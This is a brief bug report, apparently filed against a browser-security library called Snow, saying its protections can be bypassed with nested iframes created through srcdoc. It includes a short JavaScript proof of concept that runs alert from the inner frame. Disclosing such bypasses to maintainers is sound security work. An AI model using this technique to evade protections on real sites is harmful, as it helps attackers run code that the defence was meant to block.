Snow can be bypassed with iframes and srcdoc

[hackvertor]

Reproduce by running

let i = document.createElement('iframe');
i.srcdoc="<iframe>";
document.body.append(i)
setTimeout(x=>i.contentWindow[0].alert(1337),500)